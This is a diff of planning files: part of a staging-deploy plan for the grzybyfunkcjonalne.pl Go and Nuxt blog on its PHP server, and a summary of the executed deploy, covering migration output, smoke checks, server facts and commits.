+  <action>Print a checklist built from the files above and stop for the human. The human: (1) picks the staging host name (default staging.grzybyfunkcjonalne.pl), creates its DNS record pointing at the PHP server and a certbot certificate for it; (2) makes sure PostgreSQL 15 or newer with ICU runs on the server and creates role grzybyfunkcjonalne and database grzybyfunkcjonalne with the ICU command in config/database.yaml (TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL'), keeping the password for the DSN; (3) makes sure Node 22.18 or newer is installed and notes its path; (4) creates system user grzybyfunkcjonalne and /srv/grzybyfunkcjonalne writable by the deploy user, confirms ports 8096 and 3016 are free on 127.0.0.1 (or names free ones); (5) gives the executor SSH access as an ~/.ssh/config alias exported as STAGING_SSH, with sudo for nginx -t, nginx reload and supervisorctl, and exports STAGING_URL; (6) runs scripts/php-export/featured-images.sql and categories.sql against the live PHP database after checking the post model morph and translate table names as the README says, and places featured-images.jsonl and categories.jsonl in /srv/grzybyfunkcjonalne/import/; (7) states the absolute paths of the PHP storage/app/uploads/public and storage/app/media directories and that the deploy user can read them; (8) states the admin email and login to create. The executor then runs the verify command and records every confirmed fact (host alias, staging URL, Node path, ports, PHP storage paths, morph and translate tables used, Postgres version) in the SUMMARY "Server facts" section.</action>
+  <instructions>
+    Claude prepared the deploy files, the runbook and the PHP export queries in 16-03 and printed the checklist.
+    The human does the steps that need DNS, certificates, database roles, server accounts or SSH keys (items 1-8 of the action), then exports STAGING_SSH and STAGING_URL in the session.
+  </instructions>
+  <verification>The verify command prints prerequisites-ok.</verification>
+  <resume-signal>Type "server ready" with the staging URL and ssh alias once items 1-8 are done.</resume-signal>
+  <verify>
+    <automated>test -n "$STAGING_SSH" &amp;&amp; test -n "$STAGING_URL" &amp;&amp; NODE_V=$(ssh "$STAGING_SSH" 'node -p process.versions.node') &amp;&amp; printf '22.18.0\n%s\n' "$NODE_V" | sort -V -C &amp;&amp; ssh "$STAGING_SSH" 'psql --version &amp;&amp; sudo nginx -t &amp;&amp; sudo supervisorctl version &amp;&amp; test -s /srv/grzybyfunkcjonalne/import/featured-images.jsonl &amp;&amp; test -s /srv/grzybyfunkcjonalne/import/categories.jsonl' &amp;&amp; { curl -sS -o /dev/null --max-time 10 "$STAGING_URL/"; test $? -ne 6; } &amp;&amp; echo prerequisites-ok</automated>
+    <fails_when>Non-zero exit or "prerequisites-ok" absent: STAGING_SSH or STAGING_URL unset, ssh fails, Node is older than 22.18, psql/nginx/supervisorctl missing, nginx -t fails, an import map is missing or empty, or curl exit 6 (staging host name does not resolve).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - STAGING_SSH and STAGING_URL are set and ssh works with the needed sudo commands.
+    - Node on the server is 22.18 or newer; psql reports PostgreSQL 15 or newer; nginx -t passes before any change.
+    - /srv/grzybyfunkcjonalne/import/featured-images.jsonl and categories.jsonl exist and are non-empty.
+    - The staging host name resolves.
+    - The SUMMARY "Server facts" section lists host alias, staging URL, Node path, ports, PHP storage paths, morph and translate tables, Postgres version.
+  </acceptance_criteria>
+  <done>Every server fact the deploy needs is confirmed and recorded, and the PHP export maps are on the server.</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer — deploy both processes, run the migration runbook on the PHP data and serve one imported post over HTTPS on staging</name>
+  <reversibility rating="costly">D-07/D-10: the two-process topology (supervisor programs, vhost, ports) is what the production cutover reuses; changing it means redoing the server layout.</reversibility>
+  <precondition>STAGING_SSH and STAGING_URL are set and Task 1's verify printed prerequisites-ok in this session.</precondition>
+  <files>../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh</files>
+  <read_first>The Task 1 "Server facts" in this plan's SUMMARY, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-summercmsio-app/DEPLOY.md (upload, release and cutover order)</read_first>
+  <action>Align the deploy files with the confirmed server facts (server_name, certificate paths, /srv paths, user, Node path, ports) and re-run scripts/check-deploy.sh; commit the changes in the host (chore: match staging deploy files to the server). Run scripts/build.sh locally.
+
+Upload with rsync over $STAGING_SSH: bin/grzybyfunkcjonalne, config/ and scripts/ to /srv/grzybyfunkcjonalne/go/; build/nuxt/.output/ to /srv/grzybyfunkcjonalne/nuxt/.output/; the journal export (/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export) to /srv/grzybyfunkcjonalne/import/journal-export/. Never rsync a local .env.
+
+On the server, write /srv/grzybyfunkcjonalne/go/.env from deploy/env.example: the DSN from Task 1, and SUMMER_APP__KEY from bin/grzybyfunkcjonalne key:generate, SUMMER_ADMIN__JWT__SECRET and SUMMER_GOLEM15__USER__JWT__SECRET from head -c 32 /dev/urandom | base64, all generated on the server and never printed or copied back; SUMMER_URL=$STAGING_URL; owner root, group grzybyfunkcjonalne, mode 0640. Write /srv/grzybyfunkcjonalne/nuxt/.env from deploy/nuxt.env.example with NUXT_SITE_URL=$STAGING_URL, NUXT_SITE_INDEXABLE=false and NUXT_PUBLIC_GA_ID empty (D-23).
+
+Run in /srv/grzybyfunkcjonalne/go as the service user: bin/grzybyfunkcjonalne migrate; bin/grzybyfunkcjonalne admin:create --email <Task 1 email> --login <Task 1 login> --superuser with a random password piped on stdin from a 0600 file /srv/grzybyfunkcjonalne/admin-initial-password (never on the command line; the human changes it with admin:reset-password); then scripts/migrate.sh --bin bin/grzybyfunkcjonalne --workdir . --export ../import/journal-export --categories-map ../import/categories.jsonl --media <PHP storage/app/media> --featured-map ../import/featured-images.jsonl --uploads <PHP storage/app/uploads/public> --author-login <Task 1 login> --author-slug admin (D-25 order; it refuses a database that already holds posts, so a failed run means drop, re-create, migrate and run again, Pitfall 3). Keep its full output in the SUMMARY, including the gap report.
+
+Install deploy/supervisor/*.conf into the server's supervisor conf.d and deploy/nginx/grzybyfunkcjonalne-staging.conf into the nginx sites directory as new files; do not edit the live Winter vhost or php-fpm (D-10). sudo nginx -t must pass before sudo systemctl reload nginx; then supervisorctl reread, update and start both programs.</action>
+  <verify>
+    <automated>bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh &amp;&amp; ssh "$STAGING_SSH" 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 &amp;&amp; curl -fsS "$STAGING_URL/blog/blogbadania-nad-cordycepsem" | grep -q 'Najnowsze Badania nad Cordycepsem' &amp;&amp; curl -fsS "$STAGING_URL/_journal/api/v1/posts/blogbadania-nad-cordycepsem" | grep -q '"featured_image_url"' &amp;&amp; echo staging-tracer-ok</automated>
+    <fails_when>Non-zero exit or "staging-tracer-ok" absent: check-deploy fails, fewer than two supervisor programs are RUNNING, the post page does not answer 200 with its title over HTTPS, or the API answer lacks featured_image_url.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Both supervisor programs are RUNNING on the server and nginx -t passed before the reload.
+    - $STAGING_URL/blog/blogbadania-nad-cordycepsem answers 200 over HTTPS with the post title, rendered by Nuxt from the Go Journal API.
+    - migrate.sh printed "migrate: ok"; its gap report is recorded in the SUMMARY.
+    - The live Winter vhost file and php-fpm configuration are unchanged (the SUMMARY lists only new files installed).
+    - No secret value appears in the repo, the SUMMARY or the shell history (generated on the server).
+  </acceptance_criteria>
+  <done>Staging serves an imported Journal post over HTTPS from the Go binary and the Nuxt server running side by side with the live PHP site.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Smoke every old URL on staging, verify images and media, write DEPLOY.md</name>
+  <precondition>Task 2's verify printed staging-tracer-ok in this session.</precondition>
+  <files>../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/DEPLOY.md, ../sm-grzybyfunkcjonalne-app/README.md</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-summercmsio-app/DEPLOY.md, the Task 1 "Server facts" and Task 2 runbook output in this plan's SUMMARY, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-10, D-18, deferred production cutover)</read_first>
+  <action>Re-pull https://grzybyfunkcjonalne.pl/sitemap.xml; when its loc set differs from the 200 lines frozen in urls.txt by 16-03, update urls.txt and record the difference (RESEARCH: live facts drift). Run scripts/smoke.sh --url "$STAGING_URL" (every line, remote lines included). Additionally check, from the staging API, one featured_image_url and one /storage/app/media/ URL referenced by a post body: each answers 200 with an image content type and X-Content-Type-Options nosniff; /gfadmin answers a non-404 status; the homepage has no googletagmanager script; /robots.txt disallows everything (NUXT_SITE_INDEXABLE=false). Any failing line is fixed at its source (deploy file, data step or app code; app or layer fixes go through their repos, tags and gitlinks) and the smoke re-run until it passes — a URL from the live sitemap is never dropped from urls.txt to make it pass (D-15).
+
+DEPLOY.md (host repo, summercms.io DEPLOY.md structure): Server facts (from Task 1, no secrets), Prerequisites, Build and upload, First install (.env files, migrate, admin:create with stdin password, migrate.sh with every flag and the D-25 order), Smoke (smoke.sh --url), Release (rebuild, rsync, supervisorctl restart of both programs; swr caches expire by themselves), Rollback (stop both programs and remove the staging vhost; the Winter site was never touched, D-10), Do not re-save imported posts in /gfadmin (Pitfall 2), Production cutover (not part of Phase 16: switch the apex vhost to these upstreams, set NUXT_SITE_URL to the apex, remove NUXT_SITE_INDEXABLE, set NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 and SUMMER_URL to the apex; Winter stays as rollback). README.md points to DEPLOY.md. Commit (docs: staging deploy guide) and, if urls.txt changed, (test: re-pull live sitemap URLs).</action>
+  <verify>
+    <automated>bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --url "$STAGING_URL"</automated>
+    <fails_when>Non-zero exit; output contains "smoke: FAIL"; the line starting "smoke: ok (" is absent.</fails_when>
+    <automated>HOME_HTML=$(curl -fsS "$STAGING_URL/") &amp;&amp; ! printf '%s' "$HOME_HTML" | grep -q googletagmanager &amp;&amp; curl -fsS "$STAGING_URL/robots.txt" | grep -qx 'Disallow: /' &amp;&amp; grep -q '^## Rollback' ../sm-grzybyfunkcjonalne-app/DEPLOY.md &amp;&amp; echo staging-checks-ok</automated>
+    <fails_when>Non-zero exit or "staging-checks-ok" absent: the staging homepage loads analytics, robots.txt does not disallow everything, or DEPLOY.md has no Rollback section.</fails_when>
+    <human-check>Open $STAGING_URL/, /blog, /blog?page=2, a post, /cordyceps (pillar content above the list), /amanita-muscaria, /kontakt and /autor/admin and compare with the live site: the refreshed design (D-01, D-03) reads cleanly, the Polish copy is complete (D-11, D-12), featured images and inline media show. Log in at $STAGING_URL/gfadmin with the initial password from /srv/grzybyfunkcjonalne/admin-initial-password, change it with admin:reset-password, then delete that file. Reply "staging approved" or list issues.</human-check>
+  </verify>
+  <acceptance_criteria>
+    - smoke.sh --url $STAGING_URL passes every urls.txt line, including every live sitemap URL, the negative cases and the remote storage lines.
+    - One featured image URL and one media URL answer 200 with an image content type and X-Content-Type-Options nosniff on staging.
+    - Staging renders no analytics and its robots.txt disallows everything.
+    - DEPLOY.md has the sections Server facts, Prerequisites, Build and upload, First install, Smoke, Release, Rollback and Production cutover, and contains no secret value.
+    - The human-check reply is recorded in the SUMMARY.
+  </acceptance_criteria>
+  <done>Every old URL answers correctly on staging, images and media load, and the deploy and rollback are documented.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Executor → PHP production server | The deploy runs next to the live Winter site |
+| Server .env files → processes | Secrets live only on the server |
+| Public internet → staging host | Staging is reachable before cutover |
+| PHP database → JSONL maps | Read-only queries against the live database |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16-18 | Tampering | live Winter vhost, php-fpm, PHP database | high | mitigate | Only new files are installed (staging vhost, two supervisor programs, /srv/grzybyfunkcjonalne); nginx -t must pass before reload; PHP queries are SELECT-only; the SUMMARY lists every file touched on the server (D-10) |
+| T-16-19 | Information Disclosure | /srv/grzybyfunkcjonalne/go/.env, nuxt/.env | high | mitigate | Secrets are generated on the server, written root:grzybyfunkcjonalne 0640, never printed, never rsynced, never committed; DEPLOY.md names keys only |
+| T-16-20 | Elevation of Privilege | initial admin account | high | mitigate | Password piped on stdin from a 0600 file, never a command-line flag; the human-check changes it with admin:reset-password and deletes the file; /gfadmin keeps cabana auth with Secure cookies in production |
+| T-16-21 | Information Disclosure | staging duplicate content and analytics | medium | mitigate | NUXT_SITE_INDEXABLE=false (robots.txt disallows all, checked); NUXT_PUBLIC_GA_ID empty on staging (checked) |
+| T-16-22 | Information Disclosure | featured-images.jsonl, categories.jsonl | low | accept | They hold public post slugs, file names and category copy only; they stay under /srv/grzybyfunkcjonalne/import and are not committed |
+| T-16-SC | Tampering | packages on the server | high | mitigate | No package is installed by this plan; the Nuxt .output and the Go binary are built locally from locked dependencies (16-01..16-03) and uploaded; Node and PostgreSQL come from the server's existing package sources at the human checkpoint |
+</threat_model>
+
+<verification>
+- Task 1 prints prerequisites-ok; Task 2 prints staging-tracer-ok.
+- `bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --url "$STAGING_URL"` prints "smoke: ok (N urls)".
+- The human-check reply "staging approved" is recorded.
+</verification>
+
+<success_criteria>
+- SC-1 is met on staging: Go + Nuxt + imported posts serve the site on the PHP server (D-18).
+- Every live URL and the negative cases pass on staging (D-15).
+- The Winter site is untouched and remains the rollback (D-10); production cutover is documented, not performed.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md` when done, with the Server facts, the runbook output and gap report, the smoke result and the human-check reply.
+</output>

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md

@@ -0,0 +1,319 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 04
+subsystem: infra (staging deploy on the PHP site's server)
+tags: [summercms, go, nuxt-ssr, nginx, supervisor, postgres, migration, staging, basic-auth]
+status: complete
+
+requires:
+  - phase: 16-03
+    provides: "host repo with migrate.sh, smoke.sh --url, urls.txt, deploy files, PHP export queries"
+provides:
+  - "staging at https://uat.grzybyfunkcjonalne.pl on the PHP server: grzybyfunkcjonalne-go (127.0.0.1:8096) and grzybyfunkcjonalne-nuxt (127.0.0.1:3016) behind one vhost, UAT basic auth with a loopback bypass"
+  - "Postgres database grzybyfunkcjonalne migrated and imported once: 104 posts (62 published), 7 categories, 35 media files, 95 featured images, author /autor/admin"
+  - "DEPLOY.md in the host repo (server facts, prerequisites, build and upload, first install, migration runbook, smoke, release, rollback, production cutover)"
+  - "migrate.sh --skip; media copied with readable modes; fileblob bucket with no_tmp_dir=true"
+affects: [16-05, production cutover of grzybyfunkcjonalne.pl]
+
+actuals:
+  tokens: 4541     # chars/4 over the added lines of the host diff 8f7f2de..c797ab9 (9 files)
+  tasks: 3
+  commits: 5       # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count 8f7f2de..HEAD
+commits: 5
+plan_head_before: 8f7f2de7650d9946970bc50e84cc9cc632057059   # sm-grzybyfunkcjonalne-app
+plan_head_after: c797ab9d23e0a9e5d6862811560ab4c832a3c57c    # sm-grzybyfunkcjonalne-app, pushed to origin/master
+
+tech-stack:
+  added: []
+  patterns:
+    - "UAT gate as an nginx geo realm: basic auth for everyone, off for 127.0.0.1/::1, so on-server checks need no credentials"
+    - "Remote checks run on the server with CURL_HOME/.curlrc 'resolve = host:443:127.0.0.1' so smoke.sh --url goes through the real vhost and TLS"
+    - "Server-side files installed into /etc by the operator from uploaded copies in /srv/<app>/deploy/, verified by sha256 against the repo"
+
+key-files:
+  created:
+    - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+  modified:
+    - ../sm-grzybyfunkcjonalne-app/README.md
+    - ../sm-grzybyfunkcjonalne-app/config/storage.yaml
+    - ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
+    - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+    - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+    - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
+    - ../sm-grzybyfunkcjonalne-app/deploy/env.example
+    - ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
+    - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
+
+key-decisions:
+  - "Staging keeps the server's UAT basic-auth gate (/etc/nginx/.g15), off only for loopback through a geo realm; it is not public. Smoke and curl checks run on the server"
+  - "Staging host is uat.grzybyfunkcjonalne.pl (the server's existing UAT naming), not staging.grzybyfunkcjonalne.pl"
+  - "first-journal-post is left out of the staging import (migrate.sh --skip), so Go serves the 62 posts the live sitemap lists"
+  - "The fileblob uploads bucket uses no_tmp_dir=true, because /tmp on the server is tmpfs and the rename across filesystems fails"
+  - "Install root and .env files belong to the single deploy/service user grzybyfunkcjonalne (0600), because the executor has no root; the operator installed the vhost and supervisor programs into /etc"
+
+patterns-established:
+  - "DEPLOY.md per host app, with the on-server smoke recipe for basic-auth-gated staging"
+
+requirements-completed: [SC-1, SC-3]
+
+coverage:
+  - id: D1
+    description: "Both supervisor programs RUNNING; the imported post /blog/blogbadania-nad-cordycepsem answers over HTTPS with its title from Nuxt, and the Journal API returns featured_image_url (D-18, SC-1)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "Task 2 verify on the server via loopback: check-deploy ok, 2 RUNNING, title grep, featured_image_url grep -> staging-tracer-ok"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Every urls.txt line passes on staging: all 71 live sitemap URLs (re-pulled 2026-10-09, unchanged), pagination, static pages, negative cases and the remote storage lines (D-15, SC-3)"
+    requirement: SC-3
+    verification:
+      - kind: e2e
+        ref: "CURL_HOME=<resolve to 127.0.0.1> scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl (on the server) -> smoke: ok (98 urls)"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "A featured image and a media file referenced by a post body answer 200 with an image content type and nosniff; /gfadmin 200, /backend 404; no Google Tag Manager; robots.txt Disallow: / (D-09, D-17, D-22, D-23)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "on-server checks: 661e483fa0e06765454515.webp 200 image/webp nosniff; Artur%20Wolak.png 200 image/png nosniff; las.webp 200 image/webp nosniff; /gfadmin 200; /backend 404; homepage without googletagmanager; robots disallow-all"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "The live Winter vhost is unchanged and only new files were installed (D-10)"
+    requirement: SC-1
+    verification:
+      - kind: manual_procedural
+        ref: "sha256 of /etc/nginx/sites-available/grzybyfunkcjonalne.pl = 37f9858c...7d77 before and after, mtime 2026-08-16; installed vhost and supervisor files equal the uploaded repo copies"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Staging reads like the live site: refreshed design, complete Polish copy, featured images and inline media on /, /blog, /blog?page=2, a post, /cordyceps, /amanita-muscaria, /kontakt and /autor/admin"
+    verification: []
+    human_judgment: true
+    rationale: "Visual and copy comparison against the live site needs a human with the UAT credentials; the Task 3 human-check has not been answered yet"
+
+duration: 40min
+completed: 2026-10-09
+---
+
+# Phase 16 Plan 04: Staging deploy on the PHP server Summary
+
+**grzybyfunkcjonalne.pl runs on staging at https://uat.grzybyfunkcjonalne.pl: the Go Journal host and the Nuxt SSR server sit behind a basic-auth vhost on the PHP site's server, serving 62 imported posts with their featured images and media. Every one of the 98 URL checks passes on the server, and DEPLOY.md documents the deploy and the rollback.**
+
+## Performance
+
+- **Duration:** about 40 min. That includes the operator checkpoint between Task 2a/2b and the resume; the resumed part ran from 17:31Z to 17:55Z.
+- **Started:** 2026-10-09T17:14:27Z
+- **Completed:** 2026-10-09T17:55:00Z
+- **Tasks:** 3 (Task 1 resolved by the orchestrator and operator; Tasks 2 and 3 executed)
+- **Files modified:** 9 in the host repo, plus deferred-items.md
+
+## Accomplishments
+
+- The migration runbook ran once into the fresh staging database (D-25 order):
+  - 104 posts imported, 62 of them published.
+  - pl is the only default locale.
+  - 7 categories filled.
+  - The PHP media library copied (35 files).
+  - 95 featured images attached under their Winter disk names.
+  - Every post is assigned to `info@golem15.com` with the author slug `admin`.
+- nginx -t passed before the reload. Both supervisor programs are RUNNING, and the tracer post renders over HTTPS.
+- `smoke.sh --url` passes all 98 urls.txt lines. The live sitemap, re-pulled today, is unchanged (71 URLs, all covered).
+- Images:
+  - The featured image and the media files answer 200 with an image type and nosniff.
+- Admin:
+  - `/gfadmin` answers 200 (the SummerCMS admin shell).
+  - `/backend` answers 404.
+- Search and analytics:
+  - Staging loads no analytics.
+  - robots.txt is `Disallow: /`.
+- From outside, without credentials, the public address answers 401.
+- DEPLOY.md is written and README points to it. The host repo is pushed to origin/master (c797ab9).
+
+## Server facts
+
+| What | Value |
+|------|-------|
+| SSH alias | `grzybyfunkcjonalne-uat` (user `grzybyfunkcjonalne`, host `alexandria`, 51.77.52.21) |
+| Staging URL | `https://uat.grzybyfunkcjonalne.pl` (Cloudflare A record, not proxied; LE ECDSA cert `/etc/letsencrypt/live/uat.grzybyfunkcjonalne.pl/`, expires 2027-01-07) |
+| nginx | 1.26.3 (`http2 on;`), user www-data. No options-ssl-nginx.conf or ssl-dhparams.pem on the server, so `ssl_protocols` is set inline. ACME webroot `/srv/http/uat.grzybyfunkcjonalne.pl` |
+| Vhost | `/etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl` = repo `deploy/nginx/grzybyfunkcjonalne-staging.conf` (sha256 150f1ef6…2f0c). The placeholder it replaced is backed up at `/root/uat.grzybyfunkcjonalne.pl.placeholder-20261009` |
+| Supervisor | `/etc/supervisor/conf.d/grzybyfunkcjonalne-go.conf` (d1b674d2…94d6) and `grzybyfunkcjonalne-nuxt.conf` (31f5ed46…22f0c), equal to the repo |
+| Ports | Go 127.0.0.1:8096, Nuxt 127.0.0.1:3016 |
+| Node | `/var/www/.nvm/versions/node/v22.22.0/bin/node` (not on the non-interactive PATH) |
+| PostgreSQL | 17.11, 127.0.0.1:5432, role/db `grzybyfunkcjonalne`, ICU pl-PL |
+| DSN | `postgres://grzybyfunkcjonalne:<password>@127.0.0.1:5432/grzybyfunkcjonalne?sslmode=disable` |
+| Install root | `/srv/grzybyfunkcjonalne/{go,nuxt,import,deploy}`, owner grzybyfunkcjonalne. Binary sha256 94116f4a…68ea, built from summercms.go 296b9cd |
+| .env files | `/srv/grzybyfunkcjonalne/go/.env` and `nuxt/.env`, owner grzybyfunkcjonalne, mode 0600. Secrets were generated on the server and never printed. `NUXT_SITE_INDEXABLE=false`, `NUXT_PUBLIC_GA_ID` empty |
+| sudo | `/usr/sbin/nginx -t`, `nginx -s reload`, `systemctl reload nginx`, `supervisorctl *` |
+| PHP storage | uploads `/srv/http/grzybyfunkcjonalne.pl/storage/app/uploads/public` (1082 files), media `/srv/http/grzybyfunkcjonalne.pl/storage/app/media` (35) |
+| PHP database | MySQL `grzyby`. Morph types `Golem15\Journal\Models\Post` and `Golem15\Journal\Models\Category`. Translate tables `winter_translate_*`. system_files: 95 post featured_images, 7 category featured_image |
+| Import maps | `/srv/grzybyfunkcjonalne/import/featured-images.jsonl` (95), `categories.jsonl` (7); journal export `import/journal-export/` (105 files) |
+| Admin | `info@golem15.com`, superuser, created by the operator with the password on stdin from a file outside the deploy (never read or stored by the executor) |
+| /tmp | tmpfs, a separate filesystem from `/` |
+| Live Winter vhost | `/etc/nginx/sites-available/grzybyfunkcjonalne.pl` sha256 37f9858c…7d77 and mtime 2026-08-16, unchanged after the deploy |
+
+**Files touched on the server.** The executor wrote only under `/srv/grzybyfunkcjonalne`. The operator, as root, installed the vhost, its `sites-enabled` symlink and the two supervisor programs as new files, and backed up the placeholder vhost. The executor's sudo use was `nginx -t`, `systemctl reload nginx` and `supervisorctl reread/update/status`.
+
+## Runbook output (Task 2)
+
+The first run of `scripts/migrate.sh`, with the flags from DEPLOY.md including `--skip first-journal-post`:
+
+```
+migrate: migrate
+✓ migrations applied
+migrate: make pl the default locale
+migrate: export: 4 files had translations [] (imported as {})
+migrate: export: 1 files skipped (--skip first-journal-post)
+migrate: journal:import-posts --dry-run (grzyby:import-posts)
+ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
+migrate: journal:import-posts (grzyby:import-posts)
+ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
+migrate: grzyby:import-categories --map /srv/grzybyfunkcjonalne/import/categories.jsonl
+ℹ Results: 7 updated, 0 unchanged, 0 failed      (cordyceps, chaga, reishi, amanita-muscaria, turkey-tail, shiitake, lions-mane)
+migrate: rsync media -> /srv/grzybyfunkcjonalne/go/storage/app/media/
+migrate: grzyby:import-featured-images ...
+grzyby: write 660/cfe/44a/660cfe44a36c0821793311.webp: ... rename /tmp/....tmp /srv/grzybyfunkcjonalne/go/storage/app/uploads/public/...: invalid cross-device link
+EXIT=1
+```
+
+After the fix (6ef012e), steps 7 to 9 ran with the same commands and the same normalized export copy:
+
+```
+ℹ Results: 95 created, 0 skipped, 0 failed
+migrate: assign unassigned posts to info@golem15.com (/autor/admin)
+migrate: gap: 1 export files reference https://gf.uat.golem15.com/storage/ (broken images, not patched)
+  wprowadzenie-do-grzyba-cordyceps
+migrate: gap: 0 imported post bodies still reference https://gf.uat.golem15.com/storage/
+migrate: gap: 0 published posts have no featured image
+migrate: published posts: 62
+migrate: ok (resumed at step 7)
+```
+
+**Gap report:**
+
+- 1 export file has old UAT-host image references, only in its base text.
+- 0 imported bodies are affected.
+- 0 published posts lack a featured image.
+
+## Smoke and checks (Task 3)
+
+- The live sitemap was re-pulled on 2026-10-09: 71 `<loc>`, all present as `200` lines in urls.txt. urls.txt is unchanged, so there is no test commit.
+- `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl`, run on the server through the loopback bypass: `smoke: ok (98 urls)`. The first run failed one line, `remote 200 /storage/app/media/las.webp` → 403; see deviation 3.
+- Featured image `/storage/app/uploads/public/661/e48/3fa/661e483fa0e06765454515.webp`: 200, image/webp, nosniff.
+- Media referenced by the body of `ekstrakt-z-turkey-tail`, `/storage/app/media/Artur%20Wolak.png`: 200, image/png, nosniff. `las.webp`: 200, image/webp, nosniff.
+- `/gfadmin`: 200 text/html (`<title>SummerCMS</title>`). Not logged in, as instructed. `/backend`: 404.
+- Homepage: no googletagmanager. robots.txt: `User-agent: *` / `Disallow: /` (nuxt-robots, indexing disabled).
+- API `meta.total`: 62.
+- Without the bypass, the public address answers 401.
+
+**Human-check: pending.** Nobody has answered "staging approved" or reported issues yet. The visual comparison with the live site, made with the UAT credentials, is left for `/msd-verify-work` (coverage D5). The admin-password part of the original human-check no longer applies (operator note).
+
+## Task Commits
+
+All of them are in `sm-grzybyfunkcjonalne-app` and pushed to origin/master:
+
+1. **Task 1: Server prerequisites**: no commit (resolved by the orchestrator and the operator).
+2. **Task 2: deploy and runbook (tracer)**:
+   - `b488fdd` (chore): match staging deploy files to the server.
+   - `97cfd31` (feat): migrate.sh --skip for export posts absent from the live site.
+   - `6ef012e` (fix): fileblob temp files next to the upload, not in /tmp.
+3. **Task 3: smoke, images and DEPLOY.md**:
+   - `faae3c0` (fix): media copy gets readable modes, not the PHP dir's 0776.
+   - `c797ab9` (docs): staging deploy guide.
+
+**Plan metadata:** see the docs(16-04) commit in summercms.go.
+
+## Files Created/Modified
+
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: server facts, prerequisites, build and upload, first install, migration runbook, start, smoke (on-server recipe), release, rollback, the admin re-save warning, production cutover.
+- `../sm-grzybyfunkcjonalne-app/README.md`: points to DEPLOY.md; the `--url` example now uses the uat host.
+- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: `?no_tmp_dir=true` on the uploads bucket.
+- `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`: `--skip NAME`; media rsync with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`.
+- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`: uat host, certificate and webroot, `http2 on`, UAT basic auth with the loopback geo bypass, auth off on the ACME path, dotfiles 404.
+- `../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf`: absolute nvm Node path.
+- `../sm-grzybyfunkcjonalne-app/deploy/env.example` and `deploy/nuxt.env.example`: uat origin; owner is the service user, mode 0600.
+- `../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`: follows the new host, webroot and log paths.
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md`: 16-03 items resolved; new 16-04 items.
+
+## Decisions Made
+
